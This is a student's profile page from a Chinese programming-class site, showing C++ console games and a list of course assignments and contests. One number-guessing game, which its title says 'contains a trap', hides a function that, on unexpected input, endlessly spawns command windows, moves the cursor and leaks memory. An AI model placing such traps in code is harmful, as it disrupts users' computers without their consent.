-
个人简介
$DP^{DP^{DP^{DP}_{DP}}_{DP^{DP^{}}_{DP}}}_{DP^{DP^{DP}_{DP}}_{DP^{DP}_{DP}}}$ $114514^{114514^{114514^{114514^{114514}_{114514}}_{114514^{114514}_{114514}}}_{114514^{114514^{114514}_{114514}}_{114514^{114514}_{114514}}}}_{114514^{114514^{114514^{114514}_{114514}}_{114514^{114514}_{114514}}}_{114514^{114514^{114514}_{114514}}_{114514^{114514}_{114514}}}} $
代码区
数字华容道
#include<bits/stdc++.h> #include<windows.h> using namespace std; int a[5][5],x,y; char ch; void get_random(){ bool b[9]; memset(b,false,sizeof(b)); for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ int k=rand()%9; while(b[k])k=rand()%9; b[k]=true; a[i][j]=k; } } } void print(){ for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ printf("%d ",a[i][j]); if(a[i][j]==0)x=i,y=j; } printf("\n"); } } bool check(){ int t=0; for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ if(a[i][j]!=t)return true; else t++; } } return false; } struct point { string s; int a; }; const int mod=10007; vector<string>v[mod]; queue<point>q; string s; int sx,sy; int xx[4]={0,1,0,-1}; int yy[4]={1,0,-1,0}; void insert(string s){ int m=0; for(int i=0;i<s.size();i++){ int l=(int)(s[i]-'0'); m+=l*i*i; } v[m%mod].push_back(s); } bool find(string s){ int m=0; for(int i=0;i<s.size();i++){ int l=(int)(s[i]-'0'); m+=l*i*i; } for(int i=0;i<v[m%mod].size();i++){ if(v[m%mod][i]==s)return true; } return false; } int bfs(){ int b[5][5]; string s=""; for(int i=1;i<=3;i++)for(int j=1;j<=3;j++){ b[i][j]=a[i][j]; s+=(b[i][j]+'0'); } q.push((point){s,0}); insert(s); while(!q.empty()){ point f=q.front(); q.pop(); for(int i=0;i<10;i++){ b[i/3+1][i%3+1]=f.s[i]-'0'; if(f.s[i]=='0')sx=i/3+1,sy=i%3+1; } for(int i=0;i<=3;i++){ int nx=sx+xx[i]; int ny=sy+yy[i]; if(nx<1||nx>3||ny<1||ny>3)continue; swap(b[nx][ny],b[sx][sy]); string k=""; for(int i=1;i<=3;i++)for(int j=1;j<=3;j++)k+=(char)(b[i][j]+'0'); if(find(k)){ swap(b[nx][ny],b[sx][sy]); continue; } if(k=="012345678"){ return f.a+1; } q.push((point){k,f.a+1}); insert(k); swap(b[nx][ny],b[sx][sy]); } } return -1; } signed main(){ srand(time(0)); get_random(); while(bfs()==-1)get_random(); while(check()){ print(); scanf("%c",&ch); system("cls"); if(ch=='W')swap(a[x][y],a[x-1][y]); if(ch=='A')swap(a[x][y],a[x][y-1]); if(ch=='S')swap(a[x][y],a[x+1][y]); if(ch=='D')swap(a[x][y],a[x][y+1]); if(ch=='G'){ printf("%d",bfs()); return 0; } } }
开了(二分版)
#include<iostream> #include<cmath> #include<cstdio> using namespace std; double a,r,l; int n; int main(){ scanf("%lf%d",&a,&n); if(a<0){ return 0; } r=max(a,1.0),l=0; while(r-l>1e-6){ double mid=(r+l)/2; if(pow(mid,n)>a)r=mid; else l=mid; } printf("%lf",l); }
数字扫雷(可正常游玩,但含陷阱)
#include<bits/stdc++.h> #include<windows.h> using namespace std; int l,r,n,k,q; void died(){ printf("给你十秒退出\n"); Sleep(100); for(int i=10;i>=1;i--){ printf("%d\n",i); Sleep(1000); } printf("0"); while(1){ system("start cmd"); SetCursorPos(rand()%1024,rand()%1024); malloc(1000000); } } int main(){ printf("输入1开始\n输入2退出\n温馨提示:请勿输入除1,2以外的字符\n"); scanf("%d",&n); system("cls"); if(n==2)return 0; if(n!=1)died(); printf("范围(示例:1-10000):"); scanf("%d-%d",&l,&r); printf("次数(示例:20):"); scanf("%d",&q); srand(time(0)); k=rand()%r+1+l; n=r*2; while(q--){ system("cls"); printf("剩余次数:%d\n范围%d-%d:",q,l,r); scanf("%d",&n); if(n<=l||n>=r){ printf("该数字不合法"); Sleep(800); q++; continue; } if(n==k){ printf("猜对了"); return 0; } if(n>k)r=n; else l=n; Sleep(100); } printf("次数耗尽,正确答案:%d",k); return 0; }
@2024tysc1065
原版bug一堆,修吐了
//别踩白块 #include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; int X,Y,dx,dy,tX,zX,zY,Sstar,Sboom,Win,Ee,Fen,RR,Slep,K,S,Er,Ice,Fang,Can,Ta,Zha,Bai,Yin,Su,U,TT,Ty,sy,m[10001][21]={{-1,0,0,0,0,18,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{-1,0,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{-1,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{-1,19,0,0,0,0,0,1,1,1,0,0,12,0,0,0,0,0,0,0,0},{-1,13,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0},{-1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4,0,0,0,0},{-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{-1,0,0,0,11,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1},{-1,0,0,0,2,2,0,0,3,3,0,0,6,6,0,0,0,0,0,0,0},{-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0},{-1,15,0,0,0,0,0,0,0,0,0,0,0,0,20,0,0,0,0,0,0},{-1,0,0,0,0,0,0,0,0,0,0,0,0,16,17,0,0,0,0,0,0},{-1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1},{-1,0,0,0,0,0,14,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{-1,0,0,0,1,1,0,0,2,2,0,0,0,1,1,1,0,0,0,0,0},}; void Color(int a){ a+=Bai*20; if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_GREEN); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_RED|FOREGROUND_BLUE); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_RED); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_RED|FOREGROUND_GREEN); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_BLUE); if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED| FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_GREEN| BACKGROUND_BLUE|FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a%20==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_RED| FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); else if(a>20) SetConsoleTextAttribute(GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); } void SetPos(int x,int y){ COORD pos; pos.X=y*2-1,pos.Y=26-x; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } void Star(); void Wo(int x){ SetPos(X-K,Y),cout<<" "; if(Can!=0) {SetPos(X-K,Y),Color(10),cout<<"●";int R=rand()%5;if(R==0&&Y<20) Y++;if (R==1&&Y>1) Y--;} if((m[X][Y]==1||m[X][Y]==7)&&Ta==0) X++; if(X<=0) X=dx,Y=dy; if(X-K>23) tX=0,X=K+23; if(tX!=0&&Ta==0) tX--,X+=2; if(Ta!=0) {tX=0;if(m[X-1][Y]==0||m[X-1][Y]==4||m[X-1][Y]==5||(m[X-1][Y]>=9&&m[X-1][Y] <=18)) m[X-1][Y]=7;} if(m[X][Y]==6) X--; if(m[X+1][Y]==6){tX=0;m[X+1][Y]=7;if(m[X+1][Y-1]==6) m[X+1][Y-1]=7;if(m[X+1][Y+1]==6) m [X+1][Y+1]=7;Fen+=2;} if(m[X-1][Y]==6){tX=0;m[X-1][Y]=7;if(m[X-1][Y-1]==6) m[X-1][Y-1]=7;if(m[X-1][Y+1]==6) m [X+1][Y+1]=7;Fen+=2;} if(m[X][Y+1]==6){tX=0;m[X][Y+1]=m[X][Y+2]=7;Fen+=2;} if(m[X][Y-1]==6){tX=0;m[X][Y-1]=m [X][Y-2]=7;Fen+=2;} if(m[X-1][Y]==0||m[X-1][Y]==4||m[X-1][Y]==5||(m[X-1][Y]>=9&&m[X-1][Y]<=20)) {X--;} if(m[X][Y]==4) Fen+=5,m[X][Y]=5,dx=X,dy=Y; if(m[X][Y]==16) m[X][Y]=0,Sstar++,Star(),SetPos(X-K,Y),cout<<" ";if(m[X+1][Y]==16) m[X +1][Y]=0,Sstar++,Star(),SetPos(X-K+1,Y),cout<<" "; if(m[X-1][Y]==1||m[X-1][Y]==2||m[X-1][Y]==3||m[X-1][Y]==7) tX=Er=0; if(m[X-1][Y]==2||m[X][Y]==2||Ta!=0) tX+=5; if(m[X-1][Y]==10) m[X-1][Y]=3,Sboom++;if(m[X][Y]==10) m[X][Y]=3,X++,Sboom++; if(m[X-1][Y]==3||m[X][Y]==3){ if(Zha==0){ Zha++; SetPos(X+1-K,Y-1),Color(5),cout<<"■";SetPos(X+1-K,Y+1),Color (5),cout<<"■";SetPos(X+1-K,Y),Color(5),cout<<"■";SetPos(X-1-K,Y-1),Color(5),cout<<"■"; SetPos(X-1-K,Y+1),Color(5),cout<<"■";SetPos(X-1-K,Y),Color (5),cout<<"■";SetPos(X-K,Y-1),Color(5),cout<<"■";SetPos(X-K,Y+1),Color(5),cout<<"■"; SetPos(X-K,Y),Color(5),cout<<"■";Sleep(300);SetPos(X+1-K,Y-1),Color(5),cout<<" "; SetPos(X+1-K,Y+1),Color(5),cout<<" ";SetPos(X+1-K,Y),Color(5),cout<<" "; SetPos(X-1-K,Y-1),Color(5),cout<<" ";SetPos(X-1-K,Y+1),Color(5),cout<<" "; SetPos(X-1-K,Y),Color(5),cout<<" ";SetPos(X-K,Y-1),Color(5),cout<<" ";SetPos (X-K,Y+1),Color(5),cout<<" ";SetPos(X-K,Y),Color(5),cout<<" "; //动画 }if(m[X][Y]==3) X++; if(Fang==0) X=dx,Y=dy,Fen+=100; }else Zha=0; if(x==3) {int U=rand()%10;SetPos(X-K,Y);if(U==0) Color(6),cout<<"●";} else if(Fang!=0) SetPos(X-K,Y),Color(2),cout<<"●"; else if(Can!=0) SetPos(X-K,Y),Color(4),cout<<"●"; else if(x==2) SetPos(X-K,Y),Color(5),cout<<"●"; else if(x==1) SetPos(X-K,Y),Color(1),cout<<"●"; } void Cout(int i,int j,int a){ if(m[i][j]==1) SetPos(i-K,j),Color(0),cout<<"■"; if(m[i][j]==2) SetPos(i-K,j),Color(5),cout<<"■"; if(m[i][j]==3) SetPos(i-K,j),Color(4),cout<<"■"; if(m[i][j]==4) SetPos(i-K,j),Color(3),cout<<"▋"; if(m[i][j]==5&&(i!=X||j!=Y)) SetPos(i-K,j),Color(2),cout<<"▋"; if(m[i][j]==6&&a==1) SetPos(i-K,j),Color(7),cout<<"■",m[i][j]=7,Fen++; if(m[i][j]==7&&a==4) SetPos(i-K,j),cout<<" ",m[i][j]=0; if(m[i][j]==7&&a!=4) SetPos(i-K,j),Color(7),cout<<"■"; if(m[i][j]==9) SetPos(i-K,j),Color(0),cout<<"←→左右移动"; if(m[i][j]==11&&Ee==0) SetPos(i-K,j),Color(0),cout<<"弹跳块 炸弹块 隐形块"; if(m[i][j]==11&&Ee==1) SetPos(i-K,j),Color(0),cout<<"弹跳块 ",Color(4),cout<<"隐形炸弹块",Color(0),cout<<" 隐形块"; if(m[i][j]==12&&Ee==0) SetPos(i-K,j),Color(0),cout<<" 激活复活点"; if(m[i][j]==12&&Ee==1) SetPos(i-K,j),Color(0),cout<<"出复活点",Color(3),cout<<"几率已增加"; if(m[i][j]==13) SetPos(i-K,j),Color(0),cout<<"按↑跳跃,可二段跳"; if(m[i][j]==14) SetPos(i-K,j),Color(0),cout<<"从现在开始随机出图啦"; if(m[i][j]==15&&Ee==0) SetPos(i-K,j),Color(5),cout<<"1000分通关!",Color(0),cout<<"空格暂停"; if(m[i][j]==15&&Ee==1) SetPos(i-K,j),Color(5),cout<<"探到40个通关!",Color(0),cout<<"空格暂停"; if(m[i][j]==15&&Ee==2) SetPos(i-K,j),Color(5),cout<<"捉到20个通关!",Color(0),cout<<"空格暂停"; if(m[i][j]==16) SetPos(i-K,j),Color(5),cout<<"★"; if(m[i][j]==17&&Ee==0) SetPos(i-K,j),Color(0),cout<<"里有神秘物品!"; if(m[i][j]==17&&Ee==1) SetPos(i-K,j),Color(0),cout<<"里有",Color(2),cout<<"防爆护罩!",Color(0); if(m[i][j]==17&&Ee==2) SetPos(i-K,j),Color(2),cout<<"它会动啦!",Color(0); if(m[i][j]==18) SetPos(i-K,j),Color(0),cout<<"不要让你的角色掉到视线以下!"; if(m[i][j]==19) SetPos(i-K,j),Color(0),cout<<"按↓下降"; if(m[i][j]==20&&Ee==2) SetPos(i-K,j),Color(3),cout<<"出现几率已增加",Color(0); Color(0); } void Map(int x1,int x2,int a){ SetPos(25,2);if(Bai!=0||Yin!=0||Can!=0) Color(9);else Color(1); if(Ee==0) cout<<"分数:"<<Fen<<" ",Color(0);if(Ee==1) cout<<"已探测:"<<Sboom<<" ",Color(0);if(Ee==2) cout<<"已收集:"<<Sstar<<" ",Color(0); SetPos(24,2);if(Ice!=0) Color(8);else Color(1);cout<<"速度:"<<Slep<<" ",Color(0); bool Yan=0; for(register int i=x1;i>=x2;i--) for(register int j=1;j<=20;j++) Cout(i,j,a); if(Yin!=0) Wo(3); else if(Ta!=0) Wo(2); else if(a==0) Wo(1); else if(a==2) SetPos(X-K,Y),Color(1),cout<<"▲"; } void MoveStar(int x1,int x2){ int n[30][21];memset(n,0,sizeof(n)); for(register int i=x1;i>=x2;i--) for(register int j=1;j<=20;j++){ if(m[i][j]==16&&n[i-K][j]==0){ int kl=rand()%4; if(kl==0&&i-K<22&&m[i+1][j]==0) m[i][j]=0,m[i+1][j]=16,n[i+1-K][j]=1,SetPos(i-K,j),cout<<" ",SetPos(i+1-K,j),cout<<"★"; if(kl==1&&i-1>K&&m[i-1][j]==0) m[i][j]=0,m[i-1][j]=16,n[i-1-K][j]=1,SetPos(i-K,j),cout<<" ",SetPos(i-1-K,j),cout<<"★"; if(kl==2&&j+1<20&&m[i][j+1]==0) m[i][j]=0,m[i][j+1]=16,n[i-K][j+1]=1,SetPos(i-K,j),cout<<" ",SetPos(i-K,j+1),cout<<"★"; if(kl==3&&j-1>1&&m[i][j-1]==0) m[i][j]=0,m[i][j-1]=16,n[i-K][j-1]=1,SetPos(i-K,j),cout<<" ",SetPos(i-K,j-1),cout<<"★"; } } } void Sheng(){ RR++; if(K<-8) RR=5; if(K==-8) RR=0; if(RR==3) {int r=rand()%2;if(r==0) RR=0;} if(RR==4) RR=0; if(RR==0){ Ax: int Bx=0; for(int i=1;i<=20;i++) m[K+22][0]=0; for(int i=1;i<=20;i++){ int R=rand()%50; if(R<=10) {int S=rand()%3+1; for(int j=i;j<=i+S;j++) if(j<=20) m[K+22][j]=1;i +=S+1;Bx=1;continue;} if(R>10&&R<=12) {for(int j=i;j<=i+1;j++) if(j<=20) m[K+22][j]=2; i +=2;Bx=1;continue;} if(R>12&&R<=14) {for(int j=i;j<=i+1;j++) if(j<=20) m[K+22][j]=3; i+=2;continue;} if(R>14&&R<=16) {for(int j=i;j<=i+1;j++) if(j<=20) m[K+22][j]=6; i+=2;continue;} if(R==17) {m[K+22][i]=m[K+22][i+1]=m[K+22][i+2]=1; m[K+23][i+1]=4; i +=2;continue;} if(R>17&&R<=20&&Ee==1) {m[K+22][i]=m[K+22][i+1]=m[K+22][i+2]=1; m[K+23][i+1]=4; i+=2;continue;} if(R>20&&R<=30&&Ee==1) m[K+22][i]=10; i++; }if(Bx==0) goto Ax; } int Q=rand()%30; if(Q==0) {int QQ=rand()%20+1; if(m[K+22][QQ]==0) m[K+22][QQ]=16;} else if(Q<=2&&Ee==2) {int QQ=rand()%20+1; if(m[K+22][QQ]==0) m[K+22][QQ]=16;} } void Star(){ int W=rand()%10;if(K<20) W=rand()%7;if(Ee==1) W=3; if(W==0) {Color(5);cout<<"火箭!";Sleep(1000);tX=0;for(int i=1;i<=15;i++) {if(X-K<20) X +=2; else X++; Sheng(),K++,Fen++,Map(K+22,K-3,2),system("cls");}m[X-2][Y]=m[X-2][Y-1] =6,S=1;Sleep(10);} if(W==1) {Color(5);cout<<"透视眼!";Sleep(1000);system("color 3F");Sleep(100);if(X>2) m [X-2][Y]=m[X-2][Y-1]=6;Map(K+22,K-3,1);system("color 0F");} if(W==2) {Color(5);cout<<"减速!";Sleep(1000);system("color 1F");Map(K+22,K- 3,3);Ice=10;system("color 0F");if(X>2&&K>10) m[X-2][Y]=m[X-2][Y-1]=6;} if(W==3) {Color(5);cout<<"防爆护罩!";Sleep(1000);Fang=15;if(X>2&&K>10) m[X-2][Y]=m[X- 2][Y-1]=6;} if(W==4) {Color(5);cout<<"白内障!";Sleep(1000);system("color 5F");Map(K+22,K- 3,0);Bai=15;system("color 0F");if(X>2&&K>10) m[X-2][Y]=m[X-2][Y-1]=6;} if(W==5) {Color(5);cout<<"隐身!";Sleep(1000);system("color 2F");Yin=15;if(X>2) m[X-2] [Y]=m[X-2][Y-1]=6;Map(K+22,K-3,0);system("color 0F");} if(W==6) {Color(5);cout<<"兴奋剂!";Sleep(1000);system("color 4F");Sleep(100);Can=15;if (X>2) m[X-2][Y]=m[X-2][Y-1]=6;Map(K+22,K-3,1);system("color 0F");} if(W==7) {Color(5);cout<<"踏云靴!";Sleep(1000);system("color 6F");Sleep(100);Ta=10;} if(W==8) {Color(5);cout<<"平台!";Sleep(1000);system("color 7F");Sleep(100);for(int i=1;i<=20;i++) m[X-1][i]=1;Map(K+22,K-3,1);system("color 0F");} if(W==9) {Color(5);cout<<"炸弹陷阱!";Sleep(1000);system("color 4F");for(int i=0;i<=5;i ++){int kX=rand()%9-4;int kY=rand()%9-4;if(Y+kY>0&&Y+kY<=20) m[X+kX][Y+kY]=3;}tX=0;if(X>1) m[X-1][Y]=6;Map(K+22,K-3,0);system("color 0F");} } void Start(){ Color(5); SetPos(25,2);cout<<" ■■■ ■ "; SetPos(24,2);cout<<" ■ ■ ■ "; SetPos(23,2);cout<<" ■■■ ■ ■ "; SetPos(22,2);cout<<" ■ ■ ■■■■■ 注意!"; SetPos(21,2);cout<<" ■ ■ "; SetPos(20,2);cout<<" ■■■ ■■■■ 按键模式已修改!"; SetPos(19,2);cout<<" ■ ■ ■ ■ "; SetPos(18,2);cout<<" ■ ■ ■ ■ 现在需要同时按才"; SetPos(17,2);cout<<"■■ ■ ■■■■ 可左右跳!"; SetPos(14,2);cout<<" ■ ■ "; SetPos(13,2);cout<<" ■ ■ "; SetPos(12,2);cout<<" ■■■ ■■■■■"; SetPos(11,2);cout<<" ■ ■ ■ ■"; SetPos(10,2);cout<<" ■ ■■■■■"; SetPos(9,2); cout<<" ■ ■■ ■ ■ ■"; SetPos(8,2); cout<<" ■ ■ ■ ■■■■■"; SetPos(7,2); cout<<" ■ ■ "; SetPos(6,2); cout<<" ■ ■ "; SetPos(5,2); cout<<" ■ ■ 之 路"; SetPos(3,2);Color(0);cout<<"按 y 确定!";SetPos(3,10);Color(9);cout<<" 开始游戏! ";SetPos(2,10);Color(0);cout<<" 炸弹风暴! ";SetPos(1,10);Color(0);cout<<" 夺星之战! "; SetPos(-1,1);Color(3);cout<<"注意!这里 绝对不能是拼音输入法!"; SetPos(-2,5);Color(3);cout<<"↓";Color(0); char tt;Ee=0; while(tt!='y'){ tt=_getch(); if(tt==72&&Ee!=0) Ee--; if(tt==80&&Ee!=2) Ee++; SetPos(3,10);if(Ee==0) Color(9);else Color(0);cout<<" 开始游戏! ";Color(0); SetPos(2,10);if(Ee==1) Color(9);else Color(0);cout<<" 炸弹风暴! ";Color(0); SetPos(1,10);if(Ee==2) Color(9);else Color(0);cout<<" 夺星之战! ";Color(0); }system("cls"); if(Ee==1) m[9][8]=m[9][9]=m[9][10]=m[9][11]=m[9][12]=10,m[9][14]=m[9][15]=6; } void Return(){ for(int i=0;i<=5;i++){ system("color 1A");Sleep(10); system("color 2B");Sleep(10); system("color 3C");Sleep(10); system("color 4D");Sleep(10); system("color 5D");Sleep(10); system("color 6E");Sleep(10); system("color 7F");Sleep(10); }system("color 0F");Map(K+22,K-3,4);system("cls"); while(K>-6) {for(int i=0;i<=20;i++) m[K+21][i]=0;K--;} m[6][16]=4;m[12][13]=16; m[9][12]=m[9][13]=6;system("cls"); } int main(){ system("mode con cols=42 lines=30"); CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); Start(); ST: X=3,Y=2,dx=3,dy=2,K=-7,tX=Fen=RR=S=Er=Sstar=Sboom=Win=0,Ta=Fang=Ice=Bai=Yin=Can=0; Map(K+22,K-3,0); while(X>K-3||dx>K-3){ S++,U++; if(Fen<0) Fen=0; if(Ee==0&&Fen>1000) {Win=1;break;}if(Ee==1&&Sboom>=40) {Win=1;break;}if (Ee==2&&Sstar>=20) {Win=1;break;} if(K<=5) Slep=20;if(K>5&&K<=10) Slep=15;if(K>10&&K<=20) Slep=10;if(K>20&&K<=30) Slep=8;if(K>30&&K<=70) Slep=7;if(K>70&&K<=150) Slep=6;if(K>150&&K<=250) Slep=5;if (K>250&&K<=400) Slep=4;if(K>400&&K<=600) Slep=3;if(K>600) Slep=2; if(Sstar<=5) Su=5;if(Sstar>5&&Sstar<=10) Su=4;if(Sstar>10&&Sstar<=15) Su=3;if (Sstar>15&&Sstar<=20) Su=2;if(Sstar>20&&Sstar<=30) Su=1; if(Ice!=0) Slep=20; if(X<=K-3&&dx>K-3) X=dx,Y=dy; if(S==Slep){ K++,S=0; if(Bai!=0||Yin!=0||Can!=0) Fen+=2;else Fen++; if(Ta>0) Ta--;if(Fang>0) Fang--;if(Bai>0) Bai--;if(Ice>0) Ice--;if(Yin>0) Yin--;if(Can>0) Can--; if(Ta<0) Ta=0;if(Fang<0) Fang=0;if(Bai<0) Bai=0;if(Ice<0) Ice=0;if(Yin<0) Yin=0;if(Can<0) Can=0; system("cls"),Sheng(); } if(GetAsyncKeyState(VK_UP)&0x8000&&TT==0&&Ta==0&&Er<2) TT++,tX+=4,Er++; else if(GetAsyncKeyState(VK_UP)&0x8000&&TT==0&&Can!=0) TT++,tX+=7,Er++; else if(GetAsyncKeyState(VK_UP)&0x8000&&TT==0&&Ta!=0) SetPos(X-K,Y),cout<<" ",X++,tX=Er=0; if(GetAsyncKeyState(VK_DOWN)&0x8000&&Ty==0) Ty++,SetPos(X-K,Y),cout<<" ",tX=0,X-=2; if((GetAsyncKeyState(VK_UP) & 0x8000) ?0:1) TT=0; if((GetAsyncKeyState(VK_DOWN) & 0x8000) ?0:1) Ty=0; if(GetAsyncKeyState(VK_LEFT)&0x8000&&Y>1) SetPos(X-K,Y),cout<<" ",Y--; if(GetAsyncKeyState(VK_RIGHT)&0x8000&&Y<20) SetPos(X-K,Y),cout<<" ",Y++; if(kbhit()) {char g=_getch();if(g==' ') Sleep(100),SetPos(24,8),sy++,Color (0),system("pause");} if(sy>=1) SetPos(24,8),cout<<" ",sy=0; if(U>=Su) {U=0;if(Ee==2) MoveStar(K+22,K-3);} Map(K+22,K-3,0); Sleep(50); } if(Win==0)SetPos(25,8),system("color 7F"),Color(4),cout<<"You! Die!!!",Sleep(1000); else SetPos(25,8),system("color 6E"),Color(3),cout<<"You! Win!!!",Sleep(1000); SetPos(24,5),cout<<"Please point 'y' to Play AGain.";Color(0); A:char e=_getch(); if(e=='y') Return(); else goto A; goto ST; }
温馨提醒:腐朽伤身体,游戏需谨慎
-
最近活动
- D班--第九周周中习题 作业
- 第四届 TYCPC 程序设计大赛(重现补题赛) IOI
- 铁外初级组四月份作业 作业
- D班-第六周周末练习题 作业
- D班——倍增算法 作业
- D班——动规加强(区间环形DP/多维DP/差值DP) 作业
- D班-第三周周末练习题 作业
- D班——区间DP之区间合并 作业
- D班——区间DP之区间分割 作业
- D班——搜索算法作业题 作业
- 2024预备班复活赛 OI
- 【oiClass公益赛】2025CSP-J模拟赛#15 OI
- 【oiClass公益赛】2025CSP-J模拟赛#14 OI
- 【oiClass公益赛】2025CSP-J模拟赛#13 OI
- 【oiClass公益赛】2025CSP-J模拟赛#12 OI
- 【oiClass公益赛】2025CSP-J模拟赛#11 OI
- 【oiClass公益赛】2025CSP-J模拟赛#10 OI
- 【oiClass公益赛】2025CSP-J模拟赛#09 OI
- 【oiClass公益赛】2025CSP-J模拟赛#08 OI
- 【oiClass公益赛】2025CSP-J模拟赛#07 OI
- 【oiClass公益赛】2025CSP-J模拟赛#06 OI
- 【oiClass公益赛】2025CSP-J模拟赛#05 OI
- 【oiClass公益赛】2025CSP-J模拟赛#04 OI
- 【oiClass公益赛】2025CSP-J模拟赛#03 OI
- 【oiClass公益赛】2025CSP-J模拟赛#02 OI
- 【oiClass公益赛】2025CSP-J模拟赛#01 OI
- 结营测试改题 IOI
- D班——背包动态规划2 作业
- D班——背包动态规划1 作业
- D班——二维动规之最长公共子序列 作业
- D班——二维线性动态规划规 作业
- 2024小六冬令营——二维线性动态规划规 作业
- D班——线性动规之子序列问题 作业
- D班——线性动态规划基础 作业
- D班——二分搜索 作业
- D班——二分算法 作业
- D班——队列 作业
- D班——广度优先搜索 作业
- 2024小六冬令营《队列》 作业
- 铁外信息学作业-CD班(25年1月-循环结构、数组) 作业
- 2024预备——期末测试改题 IOI
- 2024预备--深度优先搜索算法2 作业
- 2024预备--深度优先搜索算法 作业
- 2024预备--递归算法加强 作业
- 2024预备--递归算法入门 作业
- 第三届TYCPC重现赛 ACM/ICPC
- 铁外初级组十二月份 作业
- 2024预备班--阶段测试5 OI
- 2024预备--第13周周中练习 作业
- 2024预备班11月阶段测试(订正) IOI
- 2024预备--栈 作业
- 2024预备--差分前缀和 作业
- 2024预备--贪心算法 作业
- 2024预备--枚举算法 作业
- 2024预备--模拟算法 作业
- 铁外初级组十一月份(一) 作业
- 2024预备--第八周加练题单 作业
- 2024预备--指针&结构体&排序 作业
- 2024预备班10月阶段测试 OI
- 2024预备--位运算 作业
- 2024预备--进制转换 作业
- 2024预备--函数 作业
- 2024预备--第四周周中习题 作业
- 铁外信息学初级组作业0925 作业
- 2024预备班阶段测试1 OI
- D班——差值DP/双指针 作业
- 2024预备--字符、字符串加强练习 作业
- 2024预备--习题订正 作业
- 2024预备--二维数组基础 作业
- 2024oiClass入门组周赛计划#18 IOI
- 2024oiClass入门组周赛计划#16 IOI
- 2024oiClass入门组周赛计划#15 IOI
- 2024oiClass入门组周赛计划#14 IOI
- 2024oiClass入门组周赛计划#13 IOI
- 2024oiClass入门组周赛计划#12 IOI
- 2024oiClass入门组周赛计划#11 IOI
- 2024oiClass入门组周赛计划#10 IOI
- 2024oiClass入门组周赛计划#09 IOI
- 2024新苗-递推算法基础 作业
- 2024新苗--排序算法基础 作业
- 2024新苗--字符、字符数组、字符串 作业
- 2024新苗--数组标记的应用 作业
- 2024新苗--一维数组基础 作业
- 2024新苗--多重循环 作业
- 2024新苗--while2 作业
- 2024新苗--循环语句(while语句1) 作业
- 2024新苗--数据的在线处理 作业
- 2024新苗班阶段测试一(下午班) OI
- 2024新苗--枚举和筛选 作业
- 2024新苗--循环语句(for语句1) 作业
- 2024新苗--选择结构 作业
- 2024新苗--表达式 作业
- 2024新苗--C++程序结构 作业
-
Stat
-
Rating